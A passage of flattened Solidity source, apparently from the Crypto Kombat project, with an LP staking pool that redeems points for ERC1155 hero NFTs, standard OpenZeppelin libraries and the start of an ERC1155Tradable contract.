maxStake = _maxStake;
emit MaxStakeChanged(_maxStake);
}
function earned(address account) public view returns (uint256) {
uint256 blockTime = block.timestamp;
return
points[account].add(blockTime.sub(lastUpdateTime[account]).div(86400).mul(balanceOf(account).mul(14290)));
}
function stake(uint256 amount) public override updateReward(_msgSender()) {
require(amount > 0, 'LpPool: Cannot stake zero amount');
require(amount.add(balanceOf(_msgSender())) <= maxStake, 'LpPool: Cannot stake more than max stake');
super.stake(amount);
emit Staked(_msgSender(), amount);
}
function withdraw(uint256 amount) public override updateReward(_msgSender()) {
require(amount > 0, 'LpPool: Cannot withdraw zero amount');
super.withdraw(amount);
emit Withdrawn(_msgSender(), amount);
}
function exit() external {
withdraw(balanceOf(_msgSender()));
}
function redeem(uint256 hero) public updateReward(_msgSender()) {
require(heroes[hero] != 0, 'LpPool: Hero not found');
require(points[_msgSender()] >= heroes[hero], 'LpPool: Not enough Vombats to redeem for hero');
require(collection.totalSupply(hero) < collection.maxSupply(hero), 'LpPool: Max heroes minted');
points[_msgSender()] = points[_msgSender()].sub(heroes[hero]);
collection.mint(_msgSender(), hero, 1, '');
emit Redeemed(_msgSender(), heroes[hero]);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../utils/Context.sol";
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../utils/EnumerableSet.sol";
import "../utils/Address.sol";
import "../utils/Context.sol";
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControl is Context {
using EnumerableSet for EnumerableSet.AddressSet;
using Address for address;
struct RoleData {
EnumerableSet.AddressSet members;
bytes32 adminRole;
}
mapping (bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view returns (bool) {
return _roles[role].members.contains(account);
}
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) public view returns (uint256) {
return _roles[role].members.length();
}
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) public view returns (address) {
return _roles[role].members.at(index);
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant");
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke");
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
emit RoleAdminChanged(role, _roles[role].adminRole, adminRole);
_roles[role].adminRole = adminRole;
}
function _grantRole(bytes32 role, address account) private {
if (_roles[role].members.add(account)) {
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (_roles[role].members.remove(account)) {
emit RoleRevoked(role, account, _msgSender());
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.8;
import '@openzeppelin/contracts/GSN/Context.sol';
import '@openzeppelin/contracts/math/SafeMath.sol';
import '@openzeppelin/contracts/token/ERC20/IERC20.sol';
contract StakableTokenWrapper is Context {
using SafeMath for uint256;
IERC20 public token;
constructor(IERC20 _tokenAddress) public {
token = IERC20(_tokenAddress);
}
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function stake(uint256 amount) public virtual {
_totalSupply = _totalSupply.add(amount);
_balances[_msgSender()] = _balances[_msgSender()].add(amount);
token.transferFrom(_msgSender(), address(this), amount);
}
function withdraw(uint256 amount) public virtual {
_totalSupply = _totalSupply.sub(amount);
_balances[_msgSender()] = _balances[_msgSender()].sub(amount);
token.transfer(_msgSender(), amount);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.8;
import './ERC1155Tradable.sol';
contract CryptoKombatCollection is ERC1155Tradable {
constructor(string memory _baseUri, address _proxyRegistryAddress)
public
ERC1155Tradable('Crypto Kombat Collection', 'CKC', _proxyRegistryAddress)
{
_setBaseMetadataURI(_baseUri);
}
function contractURI() public pure returns (string memory) {
return 'https://api.cryptokombat.com/contract/cryptokombat-erc1155';
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.8;
import '@openzeppelin/contracts/access/AccessControl.sol';
import '@openzeppelin/contracts/GSN/Context.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
import './ERC1155.sol';
import '../utils/Strings.sol';
contract OwnableDelegateProxy {}
contract ProxyRegistry {
mapping(address => OwnableDelegateProxy) public proxies;
}
/**
* @title ERC1155Tradable
* ERC1155Tradable - ERC1155 contract that whitelists an operator address,
* has create and mint functionality, and supports useful standards from OpenZeppelin,
like _exists(), name(), symbol(), and totalSupply()
*/
contract ERC1155Tradable is Context, AccessControl, Ownable, ERC1155 {
bytes32 public constant MINTER_ROLE = keccak256('MINTER_ROLE');
using Strings for string;
string internal baseMetadataURI;
address proxyRegistryAddress;
uint256 private _currentTokenID = 0;
mapping(uint256 => address) public creators;
mapping(uint256 => uint256) public tokenSupply;
mapping(uint256 => uint256) public tokenMaxSupply;
// Contract name
string public name;
// Contract symbol
string public symbol;
constructor(
string memory _name,
string memory _symbol,
address _proxyRegistryAddress
) public ERC1155('') {
_setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
_setupRole(MINTER_ROLE, _msgSender());
name = _name;
symbol = _symbol;
proxyRegistryAddress = _proxyRegistryAddress;
}
modifier onlyAdminOrOwner() {
require(
hasRole(DEFAULT_ADMIN_ROLE, _msgSender()) || (owner() == _msgSender()),
'ERC1155Tradable: must have admin or owner role'
);
_;
}
modifier onlyMinter() {
require(hasRole(MINTER_ROLE, _msgSender()), 'ERC1155Tradable: must have minter role');
_;
}
function uri(uint256 _id) public view override returns (string memory) {
require(_exists(_id), 'ERC1155Tradable: token must exists');
return Strings.strConcat(baseMetadataURI, Strings.uint2str(_id));
}
/**
* @dev Returns the total quantity for a token ID
* @param _id uint256 ID of the token to query
* @return amount of token in existence
*/
function totalSupply(uint256 _id) public view returns (uint256) {
return tokenSupply[_id];
}
/**
* @dev Returns the max quantity for a token ID
* @param _id uint256 ID of the token to query
* @return amount of token in existence
*/
function maxSupply(uint256 _id) public view returns (uint256) {
return tokenMaxSupply[_id];
}
/**
* @dev Will update the base URL of token's URI
* @param _newBaseMetadataURI New base URL of token's URI
*/
function setBaseMetadataURI(string memory _newBaseMetadataURI) public onlyAdminOrOwner {
_setBaseMetadataURI(_newBaseMetadataURI);
}
/**
* @dev Creates a new token type and assigns _initial to a sender
* @param _max max supply allowed
* @param _initial Optional amount to supply the first owner
* @param _data Optional data to pass if receiver is contract
* @return tokenId The newly created token ID
*/
function create(
uint256 _max,
uint256 _initial,
bytes memory _data
) external onlyAdminOrOwner returns (uint256 tokenId) {
//TODO Need to test lte condition
require(_initial <= _max, 'ERC1155Tradable: Initial supply cannot be more than max supply');
uint256 id = _getNextTokenID();
_incrementTokenTypeId();
creators[id] = _msgSender();
if (_initial != 0) {
_mint(_msgSender(), id, _initial, _data);
}
tokenSupply[id] = _initial;
tokenMaxSupply[id] = _max;
return id;
}
/**
* @dev Creates some amount of tokens type and assigns initials to a sender
* @param _maxs max supply allowed
* @param _initials Optional amount to supply the first owner
*/
function createBatch(
uint256[] memory _maxs,
uint256[] memory _initials,
bytes memory _data
